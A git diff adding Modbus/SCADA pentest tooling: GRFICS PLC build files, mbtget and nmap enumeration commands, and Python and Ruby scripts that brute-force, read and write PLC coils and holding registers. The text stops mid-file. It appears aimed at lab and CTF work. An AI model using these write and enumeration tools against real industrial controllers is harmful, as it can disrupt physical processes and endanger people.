COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + 